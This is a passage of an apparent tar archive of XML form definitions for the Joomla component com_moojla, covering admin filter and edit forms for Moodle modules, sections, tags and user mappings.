DESC">COM_MOOJLA_FILTER_MOODLETAG_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_user_fields_map.xml000064400000004316151165724400014416
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_USER_FIELDS_MAP"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_USER_FIELDS_MAP"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="userfieldsmapfilteriscv"
name="iscv"
label="COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="g.name
ASC">COM_MOOJLA_FILTER_JOOMLA_USERS_FIELD_ASCENDING</option>
<option value="g.name
DESC">COM_MOOJLA_FILTER_JOOMLA_USERS_FIELD_DESCENDING</option>
<option value="h.id
ASC">COM_MOOJLA_FILTER_MOODLE_USERS_FIELD_ASCENDING</option>
<option value="h.id
DESC">COM_MOOJLA_FILTER_MOODLE_USERS_FIELD_DESCENDING</option>
<option value="a.iscv
ASC">COM_MOOJLA_FILTER_CV_ASCENDING</option>
<option value="a.iscv
DESC">COM_MOOJLA_FILTER_CV_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_user_maps.xml000064400000003571151165724400013255
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_USER_MAPS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_USER_MAPS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.jid
ASC">COM_MOOJLA_FILTER_JOOMLA_USER_ASCENDING</option>
<option value="a.jid
DESC">COM_MOOJLA_FILTER_JOOMLA_USER_DESCENDING</option>
<option value="a.mid
ASC">COM_MOOJLA_FILTER_MOODLE_USER_ID_ASCENDING</option>
<option value="a.mid
DESC">COM_MOOJLA_FILTER_MOODLE_USER_ID_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/index.html000064400000000054151165724400011156
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/forms/languagetranslation.xml000064400000001444151165724400013751
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
<fieldset
addfieldpath="/administrator/components/com_moojla/models/fields">
<field name="language" type="fulllanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_CATEGORIES_FIELD_LANGUAGE_DESC" >
</field>
</fieldset>
<field type="editor"
name="original_translation"
description="{language}.com_moojla.ini file"
label="Original Translation"
width="100%"
height="450px"
cols="15"
rows="30"
buttons="no"
editor="none"
filter="raw"
validate="code" />
<field type="editor"
name="override"
description="{language}.override.ini file"
label="Override"
width="100%"
height="450px"
cols="15"
rows="30"
buttons="no"
editor="none"
filter="raw"
validate="code" />
</form>models/forms/module.xml000064400000022430151165724400011172
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_MODULE_CREATED_DATE_LABEL"
description="COM_MOOJLA_MODULE_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_MODULE_CREATED_BY_LABEL"
description="COM_MOOJLA_MODULE_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_MODULE_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_MODULE_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_MODULE_MODIFIED_BY_LABEL"
description="COM_MOOJLA_MODULE_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_MODULE_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_MODULE_VERSION_LABEL"
description="COM_MOOJLA_MODULE_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla module" />
<!-- Dynamic Fields.-->
<!-- Module_section_id Field. Type: Text. (joomla)-->
<field type="text"
name="module_section_id"
label="COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_MODULE_MODULE_SECTION_ID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="INT"
message="COM_MOOJLA_MODULE_MODULE_SECTION_ID_MESSAGE"
hint="COM_MOOJLA_MODULE_MODULE_SECTION_ID_HINT" />
<!-- Module_id Field. Type: Text. (joomla)-->
<field type="text"
name="module_id"
label="COM_MOOJLA_MODULE_MODULE_ID_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_MODULE_MODULE_ID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="INT"
message="COM_MOOJLA_MODULE_MODULE_ID_MESSAGE"
hint="COM_MOOJLA_MODULE_MODULE_ID_HINT"
/>
<!-- Name Field. Type: Text. (joomla)-->
<field type="text"
name="name"
label="COM_MOOJLA_MODULE_NAME_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_MODULE_NAME_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_MODULE_NAME_MESSAGE"
hint="COM_MOOJLA_MODULE_NAME_HINT" />
<!-- Modname Field. Type: Text. (joomla)-->
<field type="text"
name="modname"
label="COM_MOOJLA_MODULE_MODNAME_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_MODULE_MODNAME_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="STRING"
message="COM_MOOJLA_MODULE_MODNAME_MESSAGE"
hint="COM_MOOJLA_MODULE_MODNAME_HINT"
/>
<!-- Visible Field. Type: Checkbox. (joomla)-->
<field type="checkbox"
name="visible"
label="COM_MOOJLA_MODULE_VISIBLE_LABEL"
value="1"
default=""
description="COM_MOOJLA_MODULE_VISIBLE_DESCRIPTION"
class="inputbox" />
<!-- Uservisible Field. Type: Checkbox. (joomla)-->
<field type="checkbox"
name="uservisible"
label="COM_MOOJLA_MODULE_USERVISIBLE_LABEL"
value="1"
default=""
description="COM_MOOJLA_MODULE_USERVISIBLE_DESCRIPTION"
class="inputbox" />
<!-- Modicon Field. Type: Editor. (joomla)-->
<field type="editor"
name="modicon"
label="COM_MOOJLA_MODULE_MODICON_LABEL"
default=""
buttons="no"
editor="codemirror|none"
filter="safehtml" />
<!-- Description Field. Type: Editor. (joomla)-->
<field type="editor"
name="description"
label="COM_MOOJLA_MODULE_DESCRIPTION_LABEL"
default=""
buttons="no"
editor="tinymce|none"
filter="safehtml" />
<!-- Url Field. Type: Url. (joomla)-->
<field type="url"
name="url"
label="COM_MOOJLA_MODULE_URL_LABEL"
size="255"
maxlength="255"
default=""
description="COM_MOOJLA_MODULE_URL_DESCRIPTION"
class="text_area"
relative="false"
filter="url"
validated="url"
scheme="http,https,mailto"
message="COM_MOOJLA_MODULE_URL_MESSAGE"
hint="COM_MOOJLA_MODULE_URL_HINT" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this module"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="module"
/>
</fieldset>
</form>models/forms/section.xml000064400000017107151165724400011356
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_SECTION_CREATED_DATE_LABEL"
description="COM_MOOJLA_SECTION_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_SECTION_CREATED_BY_LABEL"
description="COM_MOOJLA_SECTION_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_SECTION_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_SECTION_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_SECTION_MODIFIED_BY_LABEL"
description="COM_MOOJLA_SECTION_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_SECTION_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_SECTION_VERSION_LABEL"
description="COM_MOOJLA_SECTION_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla section" />
<!-- Dynamic Fields.-->
<!-- Courseid Field. Type: Text. (joomla)-->
<field type="text"
name="courseid"
label="COM_MOOJLA_SECTION_COURSEID_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_SECTION_COURSEID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="INT"
message="COM_MOOJLA_SECTION_COURSEID_MESSAGE"
hint="COM_MOOJLA_SECTION_COURSEID_HINT"
/>
<!-- Section_id Field. Type: Text. (joomla)-->
<field type="text"
name="section_id"
label="COM_MOOJLA_SECTION_SECTION_ID_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_SECTION_SECTION_ID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="INT"
message="COM_MOOJLA_SECTION_SECTION_ID_MESSAGE"
hint="COM_MOOJLA_SECTION_SECTION_ID_HINT"
/>
<!-- Name Field. Type: Text. (joomla)-->
<field type="text"
name="name"
label="COM_MOOJLA_SECTION_NAME_LABEL"
size="50"
maxlength="50"
default=""
description="COM_MOOJLA_SECTION_NAME_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_SECTION_NAME_MESSAGE"
hint="COM_MOOJLA_SECTION_NAME_HINT"
autocomplete="on" />
<!-- Visible Field. Type: Checkbox. (joomla)-->
<field type="checkbox"
name="visible"
label="COM_MOOJLA_SECTION_VISIBLE_LABEL"
value="1"
default=""
description="COM_MOOJLA_SECTION_VISIBLE_DESCRIPTION"
class="inputbox" />
<!-- Uservisible Field. Type: Checkbox. (joomla)-->
<field type="checkbox"
name="uservisible"
label="COM_MOOJLA_SECTION_USERVISIBLE_LABEL"
value="1"
default=""
description="COM_MOOJLA_SECTION_USERVISIBLE_DESCRIPTION"
class="inputbox" />
<!-- Summary Field. Type: Editor. (joomla)-->
<field type="editor"
name="summary"
label="COM_MOOJLA_SECTION_SUMMARY_LABEL"
default=""
buttons="no"
editor="tinymce|none"
filter="safehtml" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this section"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="section"
/>
</fieldset>
</form>models/forms/tag.xml000064400000015177151165724400010472
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_TAG_CREATED_DATE_LABEL"
description="COM_MOOJLA_TAG_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_TAG_CREATED_BY_LABEL"
description="COM_MOOJLA_TAG_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_TAG_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_TAG_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_TAG_MODIFIED_BY_LABEL"
description="COM_MOOJLA_TAG_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Access Field. Type: Accesslevel (joomla)-->
<field name="access"
type="accesslevel"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
default="1"
required="false" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_TAG_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_TAG_VERSION_LABEL"
description="COM_MOOJLA_TAG_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla tag" />
<!-- Dynamic Fields.-->
<!-- Tagid Field. Type: Text. (joomla)-->
<field type="text"
name="tagid"
label="COM_MOOJLA_TAG_TAGID_LABEL"
size="10"
maxlength="10"
default=""
description="COM_MOOJLA_TAG_TAGID_DESCRIPTION"
class="text_area"
filter="INT"
message="COM_MOOJLA_TAG_TAGID_MESSAGE"
hint="COM_MOOJLA_TAG_TAGID_HINT" />
<!-- Tagname Field. Type: Text. (joomla)-->
<field type="text"
name="tagname"
label="COM_MOOJLA_TAG_TAGNAME_LABEL"
size="64"
maxlength="64"
default=""
description="COM_MOOJLA_TAG_TAGNAME_DESCRIPTION"
class="text_area"
required="false"
message="COM_MOOJLA_TAG_TAGNAME_MESSAGE"
hint="COM_MOOJLA_TAG_TAGNAME_HINT" />
<!-- Isstandard Field. Type: Radio. (joomla)-->
<field type="radio"
name="isstandard"
label="COM_MOOJLA_TAG_ISSTANDARD_LABEL"
description="COM_MOOJLA_TAG_ISSTANDARD_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_TAG_YES</option>
<option
value="0">COM_MOOJLA_TAG_NO</option>
</field>
<!-- Tags Field. Type: Tag. (joomla)-->
<field type="tag"
name="tags"
mode="ajax"
label="COM_MOOJLA_TAG_TAGS_LABEL"
description="COM_MOOJLA_TAG_TAGS_DESCRIPTION"
class="inputbox small"
multiple="true" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this tag"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="tag"
/>
</fieldset>
</form>models/forms/tag_instance.xml000064400000013165151165724400012351
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_TAG_INSTANCE_CREATED_DATE_LABEL"
description="COM_MOOJLA_TAG_INSTANCE_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_TAG_INSTANCE_CREATED_BY_LABEL"
description="COM_MOOJLA_TAG_INSTANCE_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_TAG_INSTANCE_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_TAG_INSTANCE_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_TAG_INSTANCE_MODIFIED_BY_LABEL"
description="COM_MOOJLA_TAG_INSTANCE_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Access Field. Type: Accesslevel (joomla)-->
<field name="access"
type="accesslevel"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
default="1"
required="false" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_TAG_INSTANCE_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_TAG_INSTANCE_VERSION_LABEL"
description="COM_MOOJLA_TAG_INSTANCE_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla tag_instance" />
<!-- Dynamic Fields.-->
<!-- Moojlacourse Field. Type: Moojlacourse.
(custom)-->
<field type="moojlacourse"
name="moojlacourse"
label="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL"
description="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_DESCRIPTION"
message="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_MESSAGE"
class="list_class"
multiple="false"
default=""
button="false" />
<!-- Moodletag Field. Type: Moodletag. (custom)-->
<field type="moodletag"
name="moodletag"
label="COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL"
class="list_class"
multiple="false"
default="0"
button="false" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this tag_instance"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="tag_instance"
/>
</fieldset>
</form>models/forms/user_field_map.xml000064400000013643151165724400012671
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_USER_FIELD_MAP_CREATED_DATE_LABEL"
description="COM_MOOJLA_USER_FIELD_MAP_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_USER_FIELD_MAP_CREATED_BY_LABEL"
description="COM_MOOJLA_USER_FIELD_MAP_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_BY_LABEL"
description="COM_MOOJLA_USER_FIELD_MAP_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_USER_FIELD_MAP_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_USER_FIELD_MAP_VERSION_LABEL"
description="COM_MOOJLA_USER_FIELD_MAP_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla user_field_map" />
<!-- Dynamic Fields.-->
<!-- Juserfields Field. Type: Juserfields.
(custom)-->
<field type="juserfields"
name="juserfields"
label="COM_MOOJLA_USER_FIELD_MAP_JUSERFIELDS_LABEL"
class="list_class"
multiple="false"
default=""
required="true"
button="false" />
<!-- Muserfields Field. Type: Muserfields.
(custom)-->
<field type="muserfields"
name="muserfields"
label="COM_MOOJLA_USER_FIELD_MAP_MUSERFIELDS_LABEL"
class="list_class"
multiple="false"
default="0"
required="true"
button="false" />
<!-- Iscv Field. Type: Radio. (joomla)-->
<field type="radio"
name="iscv"
label="COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL"
description="COM_MOOJLA_USER_FIELD_MAP_ISCV_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_USER_FIELD_MAP_YES</option>
<option
value="0">COM_MOOJLA_USER_FIELD_MAP_NO</option>
</field>
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this user_field_map"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="user_field_map"
/>
</fieldset>
</form>models/forms/user_map.xml000064400000015175151165724400011530
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_USER_MAP_CREATED_DATE_LABEL"
description="COM_MOOJLA_USER_MAP_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_USER_MAP_CREATED_BY_LABEL"
description="COM_MOOJLA_USER_MAP_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_USER_MAP_MODIFIED_DATE_LABEL"
